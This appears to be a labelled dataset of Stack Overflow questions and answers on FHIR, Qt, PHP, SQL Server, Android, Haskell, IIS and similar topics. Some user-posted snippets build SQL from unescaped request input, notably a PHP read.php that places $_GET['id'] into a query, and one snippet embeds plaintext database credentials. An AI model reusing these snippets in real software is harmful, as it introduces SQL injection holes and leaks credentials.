37240134	0	 <p>CarePlan is used to share information about what the intended course of care is for a patient - what activities are you going to do, when are you going to do them, how are they going, etc. If you wanted to track a plan to have 5 encounters over the course of 6 months, maintain a daily pain log, do a set of exercises at least twice a week, etc., CarePlan could be used. No requirement to use it if not needed though.</p> <p>EpisodeOfCare is used to link activities related to a single condition that span multiple encounters. You can link encounters, procedures, etc. to EpisodeOfCare</p> <p>ClinicalImpression is a new, evolving resource. Think of it as a specialized type of Observation that's intended to tie together a bunch of other observations and make an overall assessment.</p> <p>A complete summary of care would typically be represented as a FHIR document - that's a Bundle instance starting with a Composition that would then organize relevant information about the care into a series of sections. If you don't want the overhead of full document, you can skip the Composition and just have a Bundle containing relevant information.</p> <p>Completion of Referrals is dependent on business process. Typically the ReferralRequest instance is owned by the placing/initiating system. They decide when to mark the request as complete - be that on receiving back a report, knowledge that the transfer of care is done, sufficient elapsed time or other means. The Order/OrderResponse (to be replaced by Task) can be used to communicate back and forth between placer and filler systems to help coordinate when work is deemed to be complete.</p>
902941	0	What's wrong with my ListView Callback retreiving subitems? <p>I'm trying to retrieve the SubItem in my ListView from another thread, but I keep getting the Item instead of the SubItem. I'm not sure how to code this properly. Below is the code I'm using:</p> <pre><code>Delegate Function lvExtractedCallback(ByVal x As Integer) As String Private Function lvExtracted(ByVal x As Integer) As String Static Dim lvName As String If Me.OptionsList.InvokeRequired Then Dim lvEC As New lvExtractedCallback(AddressOf lvExtracted) Me.Invoke(lvEC, (New Object() {x})) Else lvName = OptionsList.Items.Item(x).SubItems.Item(0).Text End If Return lvName End Function Private Sub GetSubItem() Dim subItemText as String For i as Integer = 0 to 15 subItemText = lvExtracted(x) Debug.Print subItemText Next End Sub </code></pre> <p>Any and all help appreciated!</p> <p>-JFV</p>
39994037	0	How to perform a POST request with session data to an endpoint within the server node js <p>I am working on <code>express</code> and I need to perform a POST request to an endpoint within the server. My code for this is :</p> <pre><code>request({ url : 'http://localhost:3000/api/oauth2/authorize', qs:{ transaction_id:req.oauth2.transactionID, user:req.user, client : req.oauth2.client }, headers:{ 'Authorization':auth, 'Content-Type':'application/x-www-form-urlencoded' }, method:'POST' },function(err,res,bo){ console.log("Got response with body :"+bo); }); </code></pre> <p><code>localhost</code> is the current server, this works properly but the session data is lost when i perform the POST request.<br> Is there any other way to perform a POST within the same server or to save the session data such that it is maintained after the POST?</p>
33444158	0	Codeigniter: specified word after url redirect to subfolfer <p>I have Codeigniter 3 project in root directory. I need to use it with kohana other project which is in subfolder (<code>admin</code>). I need to make redirect, when I will type <code>mysite.xyz/admin</code> that will redirect me to subfolder <code>admin</code>, where are kohana files: index.php etc.</p> <p>Now CodeIgniter think that <code>admin</code> is a controller.</p> <p>My .htacces file:</p> <pre><code>&lt;IfModule mod_rewrite.c&gt; RewriteEngine On RewriteBase /projekty/folder/ RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule ^(.*)$ index.php?/$1 [L] RewriteRule admin/^(.*)$ /admin/ [L] &lt;/IfModule&gt; &lt;IfModule !mod_rewrite.c&gt; ErrorDocument 404 /index.php &lt;/IfModule&gt; </code></pre> <p>Have any ideas, how to solve that? I was trying to find some solutions, but no success.</p> <p>Here is Kohana .htaccess:</p> <pre><code>RewriteEngine On RewriteBase /projekty/folder/admin/ ###### Add trailing slash (optional) ###### RewriteCond %{REQUEST_METHOD} !POST RewriteCond %{REQUEST_FILENAME} !-f RewriteRule ^(.+[^/])$ %{REQUEST_URI}/ [L,R=301,NE] RewriteCond %{REQUEST_METHOD} !POST RewriteRule ^(.*)home/u343855449/public_html/projekty/folder/admin/index.php/(.*)$ /$1$2 [R=301,L,NE] RewriteCond $1 ^(index\.php|robots\.txt|favicon\.ico|media) RewriteRule ^(?:application|modules|system)\b.* index.php/$0 [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule ^(.+)$ index.php?kohana_uri=$1 [L,QSA] </code></pre>
13906894	0	Checking then Adding items to QСompleter model <p>I am currently working on a code editor written in Qt,</p> <p>I have managed to implement most of the features which I desire, i.e. auto completion and syntax highlighting but there is one problem which I can't figure out.</p> <p>I have created a model for which the <code>QCompleter</code> uses, which is fine for things like html tags and c++ keywords such as <code>if else</code> etc.</p> <p>But I would like to add variables to the completer as they are entered by the user.</p> <p>So I created an event on the <code>QTextEdit</code> which will get the word (I know I need to check to make sure that it is a variable etc but I just want to get it working for now).</p> <pre><code>void TextEdit::checkWord() { //going to get the previous word and try to do something with it QTextCursor tc = textCursor(); tc.movePosition(QTextCursor::PreviousWord); tc.select(QTextCursor::WordUnderCursor); QString word = tc.selectedText(); //check to see it is in the model } </code></pre> <p>But now I want to work out how to check to see if that word is already in the <code>QCompleter</code>s model and if it isn't how do I add it?</p> <p>I have tried the following:</p> <pre><code>QAbstractItemModel *m = completer-&gt;model(); //dont know what to do with it now :( </code></pre> <p>Any help would be fantastic.</p> <p>Thank you.</p>
28842405	0	 <p>This is an interesting problem because I googled for many, many hours, and found several people trying to do exactly the same thing as asked in the question.</p> <p>Most common responses:</p> <ul> <li>Why would you want to do that? </li> <li>You <strong>can not</strong> do that, you <strong>must</strong> fully qualify your objects names</li> </ul> <p>Luckily, I stumbled upon the answer, and it is brutally simple. I think part of the problem is, there are so many variations of it with different providers &amp; connection strings, and there are so many things that could go wrong, and when one does, the error message is often not terribly enlightening.</p> <p>Regardless, here's how you do it:</p> <p>If you are using static SQL:</p> <pre><code>select * from OPENROWSET('SQLNCLI','Server=ServerName[\InstanceName];Database=AdventureWorks2012;Trusted_Connection=yes','select top 10 * from HumanResources.Department') </code></pre> <p>If you are using Dynamic SQL - since OPENROWSET does not accept variables as arguments, you can use an approach like this (just as a contrived example):</p> <pre><code>declare @sql nvarchar(4000) = N'select * from OPENROWSET(''SQLNCLI'',''Server=Server=ServerName[\InstanceName];Database=AdventureWorks2012;Trusted_Connection=yes'',''@zzz'')' set @sql = replace(@sql,'@zzz','select top 10 * from HumanResources.Department') EXEC sp_executesql @sql </code></pre> <p>Noteworthy: In case you think it would be nice to wrap this syntax up in a nice Table Valued function that accepts @ServerName, @DatabaseName, @SQL - you cannot, as TVF's resultset columns must be determinate at compile time. </p> <p>Relevant reading:</p> <p><a href="http://blogs.technet.com/b/wardpond/archive/2005/08/01/the-openrowset-trick-accessing-stored-procedure-output-in-a-select-statement.aspx" rel="nofollow">http://blogs.technet.com/b/wardpond/archive/2005/08/01/the-openrowset-trick-accessing-stored-procedure-output-in-a-select-statement.aspx</a></p> <p><a href="http://blogs.technet.com/b/wardpond/archive/2009/03/20/database-programming-the-openrowset-trick-revisited.aspx" rel="nofollow">http://blogs.technet.com/b/wardpond/archive/2009/03/20/database-programming-the-openrowset-trick-revisited.aspx</a></p> <p><strong>Conclusion:</strong><br> OPENROWSET is the only way that you can 100% avoid at least some full-qualification of object names; even with EXEC AT you still have to prefix objects with the database name.</p> <p>Extra tip: The prevalent opinion seems to be that OPENROWSET shouldn't be used "because it is a security risk" (without any details on the risk). My understanding is that the risk is only if you are using SQL Server Authentication, further details here:</p> <p><a href="https://technet.microsoft.com/en-us/library/ms187873%28v=sql.90%29.aspx?f=255&amp;MSPPError=-2147217396" rel="nofollow">https://technet.microsoft.com/en-us/library/ms187873%28v=sql.90%29.aspx?f=255&amp;MSPPError=-2147217396</a></p> <p><em>When connecting to another data source, SQL Server impersonates the login appropriately for Windows authenticated logins; however, SQL Server cannot impersonate SQL Server authenticated logins. Therefore, for SQL Server authenticated logins, SQL Server can access another data source, such as files, nonrelational data sources like Active Directory, by using the security context of the Windows account under which the SQL Server service is running. Doing this can potentially give such logins access to another data source for which they do not have permissions, but the account under which the SQL Server service is running does have permissions. This possibility should be considered when you are using SQL Server authenticated logins.</em> </p>
20262402	0	 <p>Try this:</p> <pre><code>$title = explode('-', $title, 2); $title = trim($title[1]); </code></pre> <p>First you split the title in the two parts, than you keep only the last one removing all extra whitespaces.</p> <p>If you have at least <strong>PHP 5.4</strong>, you could do</p> <pre><code>$title = trim(explode('-', $title, 2)[1]); </code></pre>
20520737	0	 <p>Although your device is capable of satisfying the usesdevice allocation, without a GPP or other ExecutableDevice, there is no place to run your component. There are two ways that allocation is performed when launching components:</p> <ul> <li>Satisfying usesdevice relationships</li> <li>Deciding on which device to deploy the executable</li> </ul> <p>Each implementation in the component's SPD has a list of dependencies that must be satisfied to run the entry point. Typically, for a C++ component, this will include the OS and processor type. Additional requirements can be defined based on the processing requirements of the component, such as memory or load average; these must be allocation properties known to the target device, just like with usesdevice. There is also an implicit requirement that the device selected for deployment should support the ExecutableDevice interface (there is slightly more nuance to it, but that's by far the most common case).</p> <p>When launching a waveform, the ApplicationFactory tries to allocate all required devices and select an implementation for each component in sequence. Each possible implementation is checked against all of the devices in the domain to see if there is a device that meets its dependencies. If so, the entry point for that implementation will be loaded onto the device and executed, and the ApplicationFactory moves on to the next component. If no suitable device can be found, it throws a CreateApplicationError, as you are seeing.</p> <p>For most cases, you can use the GPP device included with REDHAWK to support the execution of your components. You would usually only write your own ExecutableDevice if you have a specific type of hardware that does not work with GPP, like an FPGA. If you have installed from RPM, there should be a node tailored to your local system (e.g., processor type, Java and Python versions) in your $SDRROOT/dev/nodes directory. Otherwise you can create it yourself with the 'nodeconfig.py' script included with the GPP project; see the Ubuntu installation guide for an example (admittedly, somewhat buried in the REDHAWK Manual, Appendix E, Section 5).</p>
24520610	0	JavaScript upload multiple images <p>I have 2 upload buttons on same admin page (wordpress). Separately, they works perfect. But together, they don't work as it should. I'm sure it's from the JavaScript file because if I remove the code lines from one button, the other one works.</p> <pre><code>jQuery(document).ready(function($){ $('#upload_logo_button').click(function() { tb_show('Upload a logo', 'media-upload.php?referer=wptuts-settings&amp;amp;type=image&amp;amp;TB_iframe=true&amp;amp;post_id=0', false); return false; }); window.send_to_editor = function(html) { var image_url = $('img',html).attr('src'); $('#logo_url').val(image_url); tb_remove(); $('#upload_logo_preview img').attr('src',image_url); $('#submit_options_form').trigger('click'); } $('#upload_banner_button').click(function() { tb_show('Upload a banner', 'media-upload.php?referer=wptuts-settings&amp;amp;type=image&amp;amp;TB_iframe=true&amp;amp;post_id=0', false); return false; }); window.send_to_editor = function(html) { var img_url = $('img',html).attr('src'); $('#banner_url').val(img_url); tb_remove(); $('#upload_banner_preview img').attr('src',img_url); $('#submit_options_form').trigger('click'); } }); </code></pre> <p>Thanks!</p>
18781633	0	 <p>Look at your AndroidManifest.xml file.</p> <p>In application: Remove android:theme="@style/AppTheme" </p> <p>In activity: Add android:screenOrientation ="landscape" or add android:screenOrientation ="portrait"</p>
34918843	0	 <p>This error tells you that you do not have a user with an <code>id</code> of 8.</p> <p>Open your browser developer tools and clear the sessions/cookies and try again, in <strong>chrome</strong> you will find those under <strong>Resources</strong> tab.</p>
736981	0	How do I deal with "Project Files" in my Qt application? <p>My Qt application should be able to create/open/save a single "Project" at once. What is the painless way to store project's settings in a file? Should it be XML or something less horrible?</p> <p>Of course data to be stored in a file is a subject to change over time.</p> <p>What I need is something like <code>QSettings</code> but bounded to a <strong>project</strong> in my application rather than to the whole application.</p>
38106764	0	 <p>You can do this for clear cache : </p> <pre><code> CookieManager cookieManager = CookieManager.getInstance(); cookieManager.removeAllCookie(); CookieSyncManager.getInstance().sync(); mAuthContext.getCache().removeAll(); </code></pre>
32084979	0	 <p>You can use either, but <code>fabric.api</code> is specifically the better option. This is because it's where the other fabric modules are imported for simplicity's sake. See here:</p> <pre><code>$ cat fabric/api.py (env: selenium) """ Non-init module for doing convenient * imports from. Necessary because if we did this in __init__, one would be unable to import anything else inside the package -- like, say, the version number used in setup.py -- without triggering loads of most of the code. Which doesn't work so well when you're using setup.py to install e.g. ssh! """ from fabric.context_managers import (cd, hide, settings, show, path, prefix, lcd, quiet, warn_only, remote_tunnel, shell_env) from fabric.decorators import (hosts, roles, runs_once, with_settings, task, serial, parallel) from fabric.operations import (require, prompt, put, get, run, sudo, local, reboot, open_shell) from fabric.state import env, output from fabric.utils import abort, warn, puts, fastprint from fabric.tasks import execute </code></pre> <p><code>fabric.api</code> is importing <code>fabric.operations.reboot</code> for you already.</p>
17609748	0	Import some csv column data into SQL Server 2008 R2 (programmatically) <p>I'd like to insert CSV data into a SQL Server database at one time. I know about <a href="http://stackoverflow.com/questions/14594072/importing-a-csv-file-using-bulk-insert-command-into-sql-server-table">BULK INSERT</a> but I <strong>need to select some fields only</strong>. So I try <code>INSERT INTO</code> like below -</p> <pre><code>try { OleDbConnection myOleDbConnection = new OleDbConnection("Provider=SQLOLEDB;Data Source=ServerName;Integrated Security=SSPI;Initial Catalog=DBName;User ID=sa;Password=password"); myOleDbConnection.Open(); string strSQL = null; strSQL = "INSERT INTO " + strTable + "(" + M_ItemCode + "," + M_ItemDesc + "," + M_UOM + ") " + "SELECT " + M_ItemCode + "," + M_ItemDesc + "," + M_UOM + " FROM [Text;DATABASE=E:\temp\\Item.csv]" ; OleDbCommand cmd = new OleDbCommand(strSQL, myOleDbConnection); return (cmd.ExecuteNonQuery() == 1); } catch (Exception ex) { Common.ShowMSGBox(ex.Message, Common.gCompanyTitle, Common.iconError); return false; } </code></pre> <p>I got the error </p> <blockquote> <p>Invalid object name 'Text;DATABASE=E:\temp\Item.csv'.</p> </blockquote> <p>Is my syntax wrong?</p>
25540407	0	Summarize a list of Haskell records <p>Let's say I have a list of records, and I want to summarize it by taking the median. More concretely, say I have</p> <pre><code>data Location = Location { x :: Double, y :: Double } </code></pre> <p>I have a list of measurements, and I want to summarize it into a median <code>Location</code>, so something like:</p> <pre><code>Location (median (map x measurements)) (median (map y measurements)) </code></pre> <p>That is fine, but what if I have something more nested, such as:</p> <pre><code>data CampusLocation = CampusLocation { firstBuilding :: Location ,secondBuilding :: Location } </code></pre> <p>I have a list of <code>CampusLocation</code>s and I want a summary <code>CampusLocation</code>, where the median is applied recursively to all fields. </p> <p>What is the cleanest way to do this in Haskell? Lenses? Uniplate?</p> <p>Edit: Bonus:</p> <p>What if instead of a record containing fields we want to summarize, we had an implicit list instead? For example:</p> <pre><code>data ComplexCampus = ComplexCampus { buildings :: [Location] } </code></pre> <p>How can we summarize a <code>[ComplexCampus]</code> into a <code>ComplexCampus</code>, assuming that each of the <code>buildings</code> is the same length?</p>
6764030	1	Using policykit+dbus instead of gksu to run graphical application <p>I'm searching for a command that does gksu or beesu job, but depends on policykit.</p> <p>The policykit and dbus documentation is somehow very complicated and not clear.</p> <p>I found "pkexec" but it shows errors when trying to run a graphical application</p> <pre><code>pkexec gedit </code></pre> <p>results:</p> <pre><code>(gedit:7243): Gtk-WARNING **: cannot open display: </code></pre>
32644736	0	PHP $_GET file not retrieving data from a mysql database <p>I have PHP scripts that are trying to read data from my mysql database. The first script called news.php reads data from some of the rows in my database and displays it in summary form. It also generates a unique hyperlink for each article that someone can click on and be taken to read the full article.</p> <p>This is the news.php that retrieves a summary from my database</p> <pre><code>&lt;?php // connection string constants define('DSN', 'mysql:dbname=mynewsdb;host=localhost'); define('USER', 'myadmin'); define('PASSWORD', 'pwd2015'); // pdo instance creation $pdo = new PDO(DSN, USER, PASSWORD); // query preparation $stmt = $pdo-&gt;query(" SELECT title, introtext, id, created, created_by, catid FROM mynews_items "); // fetching results $result = $stmt-&gt;fetchAll(PDO::FETCH_ASSOC); // if this returns 0 then it means no records are present echo count($result) . "\n"; // the loop should print valid table foreach ($result as $index =&gt; $row) { if ($index == 0) echo '&lt;table&gt;'; echo &lt;&lt;&lt;HTM &lt;tr&gt; &lt;td&gt; &lt;span class="post-date"&gt;{$row['created']}&lt;/span&gt; &lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt; &lt;h2 class="blog-post-title"&gt;{$row['title']}&lt;/h2&gt; &lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt; &lt;p&gt; {$row['introtext']} &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt; &lt;p&gt; &lt;a href='read.php?id={$row['id']}'&gt;&lt;input type="button" value="Read More" /&gt;&lt;/a&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt; &lt;div class="blog-meta"&gt; &lt;img src="img/avatar.png" alt="Avatar" /&gt; &lt;h4 class="blog-meta-author"&gt;{$row['created_by']}&lt;/h4&gt; &lt;span&gt;Category: {$row['catid']}&lt;/span&gt; &lt;/div&gt; &lt;/td&gt; &lt;/tr&gt; HTM; if ($index == (count($result)-1)) echo '&lt;/table&gt;'; } </code></pre> <p>When you click on the hyperlink generated by <code>&lt;a href='read.php?id={$row['id']}'&gt;&lt;input type="button" value="Read More" /&gt;&lt;/a&gt;</code> the read.php script should retrieve and show the full article from my database. The field storing the articles is named <code>fulltext</code></p> <p>This is the read.php file</p> <pre><code> &lt;?php // connection string constants define('DSN', 'mysql:dbname=mynewsdb;host=localhost'); define('USER', 'myadmin'); define('PASSWORD', 'pwd2015'); // pdo instance creation $pdo = new PDO(DSN, USER, PASSWORD); // query preparation $stmt = $pdo-&gt;query(" SELECT fulltext FROM mynews_items "); echo htmlspecialchars($_GET["fulltext"]); ?&gt; </code></pre> <p>Can someone point out the mistake I am making on my read.php file because it loads as a blank page without any data.</p> <p><strong>UPDATED read.php</strong> This is the updated file which is still returning a blank page. Can anyone point out any mistake?</p> <pre><code>&lt;?php $id = $_GET['id']; if(isset($_GET['id'])) // connection string constants define('DSN', 'mysql:dbname=mynewsdb;host=localhost'); define('USER', 'myadmin'); define('PASSWORD', 'pwd2015'); // pdo instance creation $pdo = new PDO(DSN, USER, PASSWORD); // query preparation // $stmt = $pdo-&gt;query("SELECT id, fulltext FROM fm16p_k2_items WHERE id='{$row['id']}'", PDO::FETCH_ASSOC); { $sql = mysql_query("SELECT fulltext * FROM fm16p_k2_items WHERE id = '{$id}'"); $row = mysql_fetch_object($sql); } echo $row-&gt;fulltext; ?&gt; </code></pre>
3104207	0	 <p>From ActionScript, </p> <pre><code>var result:String = ExternalInterface.call("eval", "navigator.userAgent"); </code></pre> <p>which gets the value for the browser name, stores it in result.</p>
26564099	0	 <p>The bulk insert on row 4 includes a value NULL, but I think that SQL Server interprets this as string containing 'NULL'. You can try to change row 4 with that :</p> <pre><code>106|Sam Clark|52|11|VP Sales|06/14/88||275000.00|299912.00 </code></pre> <p>You will also have the same problem on row 7, your column <code>Quota</code> which expects a MONEY type, but a string containing NULL is provided.</p>
22014214	0	How to add captions to Youtube video with html5 programmatically? <p>I have an application and in that application there is a requirement to play videos using yuotube video player with html5.</p> <p>Can you please share any idea that would useful for me...?</p> <p>Thanks in advance....</p>
23691507	0	 <p>figured it out with an apple example they wrap their add a tableViewController to a UIView by adding the tableViewController as a childViewController of the UIView or if you are using storyboard u can use the container view</p>
11320499	0	How to allow users to share videos on my website securely <p>Just finished an awesome book on Web App Security, and I've got a security question. I'd like to allow users to share videos on my website. I don't have a problem restricting them to youtube and vimeo embedding, saves me the storage anyways, but I don't want untrusted code running on site.</p> <p>So, what's the best way to do this?</p> <p>FYI, I'm using express.js on top of node.js and couchdb for a database.</p>
78899	0	 <p>One thing to keep in mind about using the same <strong>TDataSet</strong> between multiple threads is you can only read the current record at any given time. So if you are reading the record in one thread and then the other thread calls <strong>Next</strong> then you are in trouble.</p>
708461	0	 <p>Don't sell management on a particular approach; that's just going to be difficult and isn't really going to buy you much. Whether or not your management chain appreciates unit tested code doesn't matter. </p> <p>Sure, unit testing your code has a lot of benefits associated with it, but don't rely on management buy-off to write your tests. When people start seeing results, they'll flock towards The Right Thing. </p>
37222388	0	 <p>(Disclaimer: This is a good question even for people that do not use Bluebird. I've posted a similar answer <a href="http://stackoverflow.com/a/37222332/558639">here</a>; this answer will work for people that aren't using Bluebird.)</p> <h3>with chai-as-promised</h3> <p>Here's how you can use chai-as-promised to test both <code>resolve</code> and <code>reject</code> cases for a Promise:</p> <pre><code>var chai = require('chai'); var expect = chai.expect; var chaiAsPromised = require("chai-as-promised"); chai.use(chaiAsPromised); ... it('resolves as promised', function() { return expect(Promise.resolve('woof')).to.eventually.equal('woof'); }); it('rejects as promised', function() { return expect(Promise.reject('caw')).to.be.rejectedWith('caw'); }); </code></pre> <h3>without chai-as-promised</h3> <p>You can accomplish the same without chai-as-promised like this:</p> <pre><code>it('resolves as promised', function() { return Promise.resolve("woof") .then(function(m) { expect(m).to.equal('woof'); }) .catch(function(m) { throw new Error('was not supposed to fail'); }) ; }); it('rejects as promised', function() { return Promise.reject("caw") .then(function(m) { throw new Error('was not supposed to succeed'); }) .catch(function(m) { expect(m).to.equal('caw'); }) ; }); </code></pre>
38335316	0	Can not convert RDD to sequence <p>I have a variable <code>rawData</code> of type <code>DataFrame</code>. I want to get all the elements of a column and convert them to a Scala <code>Seq</code>.</p> <pre><code>val res = rawData.map(x =&gt; x(0)).toSeq </code></pre> <p>However, I am getting the following error:</p> <pre><code>Error:(114, 40) value toSeq is not a member of org.apache.spark.rdd.RDD[Any] val res = rawData.map(x =&gt; x(0)).toSeq </code></pre> <p>So <code>rawData.map(x =&gt; x(0))</code> is of type <code>RDD[Any]</code>. How can I convert that to a <code>Seq</code>?</p>
15486142	0	How to iterate over a node list and get child elements? <p>I have some XML like this:</p> <pre><code>&lt;?xml version="1.0" encoding="UTF-8"?&gt; &lt;person&gt; &lt;version&gt;1.1&lt;/version&gt; &lt;lname&gt;xxxx&lt;/lname&gt; &lt;fname&gt;yyyy&lt;/fname&gt; &lt;address&gt; &lt;city&gt;zzzz&lt;/city&gt; &lt;state&gt;ffff&lt;/state&gt; &lt;country&gt;aaaa&lt;/country&gt; &lt;address&gt; &lt;dob&gt;xx-xx-xxxx&lt;/dob&gt; &lt;familymembers&gt; &lt;father&gt; &lt;fname&gt;bbbb&lt;/fname&gt; &lt;lname&gt;dddd&lt;/lname&gt; &lt;/father&gt; &lt;mother&gt; &lt;fname&gt;zzzz&lt;/fname&gt; &lt;lname&gt;aaaa&lt;/lname&gt; &lt;/mother&gt; &lt;sibling&gt; &lt;fname&gt;bbbb&lt;/fname&gt; &lt;lname&gt;dddd&lt;/lname&gt; &lt;/sibling&gt; &lt;/familymembers&gt; &lt;/person&gt; </code></pre> <p>My requirement is that all child elements should be traversed and placed inside a map as key-value pairs like this:</p> <pre><code>persion.version --&gt; 1.1 persion.lname --&gt; xxxx persion.fname --&gt; yyyy person.address.city --&gt; zzzz person.address.state --&gt; ffff person.address.country --&gt; aaaa person.familymembers.father.fname --&gt; bbbb person.familymembers.father.lname --&gt; dddd person.familymembers.mother.fname --&gt; zzzz person.familymembers.mother.lname --&gt; aaaa person.familymembers.sibling.fname --&gt; bbbb person.familymembers.sibling.lname --&gt; dddd </code></pre>
30161211	0	 <p>By clicking the delete button you need to call <code>delete(position);</code> and write your code like this.</p> <pre><code>public void delete(int position) { AlertDialog dialog = new AlertDialog.Builder(this) // .setIcon(R.drawable.mainicon) .setTitle("") .setMessage("Are You Sure You Want to Delete " + "?") .setPositiveButton("Yes", new DialogInterface.OnClickListener() { public void onClick(DialogInterface dialog, int which) { try { mDatabase.open(); mDatabase.delSecRec(ItemsList.get(position) .getItemID()); mDatabase.close(); refreshList(); } catch (Exception e) { } } }) .setNegativeButton("No", new DialogInterface.OnClickListener() { public void onClick(DialogInterface dialog, int which) { dialog.dismiss(); } }).show(); } </code></pre> <p>To refresh your adapter you need to call this method.</p> <pre><code>private void refreshList() { db.open(); ItemsList = db.getAllItems(); db.close(); if (ItemsList != null) { setAdapterList(); } else { ShowMessage.show(ViewMyThings.this, "No Record found yet !!!"); } mListView.setAdapter(mAdapter); } </code></pre> <p>Hope you will get idea from this code.</p>
35002269	0	Setting StatusCode in error.aspx triggers another Page_Load() <p>In <code>web.config</code>, the error page is set to <code>/errorpages/error.aspx</code></p> <pre><code>&lt;httpErrors errorMode="Custom" existingResponse="Replace" &gt; &lt;remove statusCode="500" subStatusCode="-1" /&gt; &lt;error statusCode="500" path="/errorpages/error.aspx" responseMode="ExecuteURL" /&gt; &lt;/httpErrors&gt; </code></pre> <p>But when the page <code>/errorpages/error.aspx</code> is loaded in the browser, the status code is 200. This results in various problems, like the fact that when I have a JS file that's in the wrong URL, instead of getting a specific error, I get a JS error like <code>unexpected &lt;</code> (same logic is used for <code>404.aspx</code> page).</p> <p>So, to fix this, inside <code>error.aspx</code>, in <code>Page_Load()</code>, I set</p> <pre><code>Response.StatusCode = 500; </code></pre> <p>and the page is returned with 500 status code, which can be observed in the browser.</p> <p>The problem is that if I place a breakpoint inside <code>Page_Load()</code> in <code>/errorpages/error.aspx</code>, it is being hit twice. First time it enters the <code>StatusCode</code> is <code>200</code>, it sets it to <code>500</code>, so my suspicion is that IIS tries to handle that from <code>web.config</code>, it loads the page again. And again the <code>StatusCode</code> is <code>200</code>, and changes to <code>500</code>, but this time it doesn't trigger another execution.</p> <p>This is probably caused by the fact that the exceptions are being handled in Global.asax.cs, where after handling, this is executed:</p> <pre><code>Server.TransferRequest("/errorpages/error.aspx?someExceptionInfo=" + exceptionInfo); </code></pre> <p>So this diagram shows what I think is happening: <a href="https://i.stack.imgur.com/rmT2J.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/rmT2J.png" alt="error workflow"></a></p> <p>I <em>could</em> just set a status code instead of calling <code>TransferRequest</code>, and let IIS handle it, and pass the exception info via the Session. But I'm worried that at some point it might cause some kind of redirect loop or something on Production servers.</p> <p><strong>Question (one of them):</strong></p> <ul> <li>How do I ensure I won't get a redirect loop?</li> <li>How do I configure IIS to make error pages return a status code without actually writing <code>Response.StatusCode = ***</code>?</li> <li>How do I impede my application from repeating execution of the page when I set the <code>StatusCode</code>?</li> </ul>
34720850	0	 <p><strong>Why I can't find the file on my device?</strong></p> <p>The file is created successfully but I can't find that on my device because the <code>dataDirectory</code> path which I indicates to create the file, is a private path and my device file manager doesn't have access to it (base on <a href="https://www.npmjs.com/package/cordova-plugin-file#android-file-system-layout">this table</a>). Actually <code>dataDirectory</code> is an <code>Internal Storage</code> option.</p> <blockquote> <p>Internal Storage: Store private data on the device memory.</p> <p>You can save files directly on the device's internal storage. By default, files saved to the internal storage are private to your application and other applications cannot access them (nor can the user). When the user uninstalls your application, these files are removed.(<a href="http://developer.android.com/guide/topics/data/data-storage.html#filesInternal">reference</a>)</p> </blockquote> <p><strong>How to create a public file?</strong> </p> <p>So, to create a file on my device that I can access it with the file manager, I have to use one of public path options like:<code>externalDataDirectory</code>. Before, I was thinking it is for storing files on an external SD Card that I had not on my phone, so I didn't test it. But testing it today, it creates the file on my internal device storage in <code>Android/data/&lt;app-id&gt;/files</code> path which is public and I can access it with device file manager.</p> <p>Actually the term <code>internal</code> and <code>external</code> was misleading for me while <code>external storage</code> can be a removable storage media (such as an SD card) or an internal (non-removable) storage(<a href="http://developer.android.com/guide/topics/data/data-storage.html#filesInternal">reference</a>).</p>
33391234	0	jQuery :has() equivalent using document.querySelector <p>As I wrote in the topic - I am looking for a jQuery :has() selector equivalent using document.querySelector.</p> <p>For example I would like to select all paragraphs that contains links:</p> <p>With jQuery it will be simple:</p> <pre><code>$("p:has(a)") </code></pre> <p>How to achieve that using javascript's document.querySelector?</p> <p>Thanks in advance.</p>
26498760	0	 <p>The element doesn't necessarily have to have an ID.</p> <p><a href="http://msdn.microsoft.com/en-us/library/system.windows.forms.htmldocument.getelementsbytagname(v=vs.110).aspx" rel="nofollow">http://msdn.microsoft.com/en-us/library/system.windows.forms.htmldocument.getelementsbytagname(v=vs.110).aspx</a></p> <p>If that's the case, you should take a look at getting a collection via GetElementsByTagName and looping through - something along these lines:</p> <pre><code>Dim Elems As HtmlElementCollection Elems = WebBrowser1.Document.GetElementsByTagName("input") For Each elem As HtmlElement In Elems Dim nameValue As String = elem.GetAttribute("name") If nameValue.ToLower().Equals("email") Then elem.SetAttribute("value,", ID &amp; "@hotmail.com") End If Next </code></pre>
32180396	0	 <p>The example provided in the WebStorm help is for CoffeeScript compiler that has different command-line options. With TypeScript compiler use --sourceMap to generate source maps and --out to specify the output file. Here you can find information about TypeScript compiler and it's options: <a href="https://github.com/Microsoft/TypeScript/wiki/Compiler-Options" rel="nofollow">https://github.com/Microsoft/TypeScript/wiki/Compiler-Options</a> If you're using WebStorm 10, use a built-in TypeScript compiler instead of a file watcher.</p>
28361845	0	 <p>You can do this with block approach,</p> <pre><code>let views: NSArray = scroller.subviews // 3 - remove all subviews views.enumerateObjectsUsingBlock { (object: AnyObject!, idx: Int, stop: UnsafeMutablePointer&lt;ObjCBool&gt;) -&gt; Void in object.removeFromSuperview() } </code></pre>
9159217	0	 <p>Use <code>__range</code>. You'll need to actually calculate the beginning and end of the week first:</p> <pre><code>import datetime date = datetime.date.today() start_week = date - datetime.timedelta(date.weekday()) end_week = start_week + datetime.timedelta(7) entries = Entry.objects.filter(created_at__range=[start_week, end_week]) </code></pre>
40384993	0	 <p>Use the forecast package and use an ARIMAX function and specify the structure, it will be (1,0,0) in this case. The xreg argument will allow you to include additional covariates.</p> <p>It should look something like this..</p> <pre><code>library(forecast) fit &lt;- Arima(y, order=c(1,0,0),xreg = x) </code></pre>
32796895	0	 <p>This does sound like you're asking for opinion rather than a definitive answer - so....</p> <p>As someone who develops little fun apps and some work related tooling in VB6 (more of an interest/hobby, than anything else), my opinion is that it's perfectly fine to run in Win7 x64. I find it more convenient to run it on my main desktop than in a VM. However, I've also installed VB6 on a W2k3 VM as some more obscure bugs (often around MDAC) can't be fully tested/circumvented in Win7. </p> <p>Oh, and I always run the IDE As Administrator to avoid some other niggles</p>
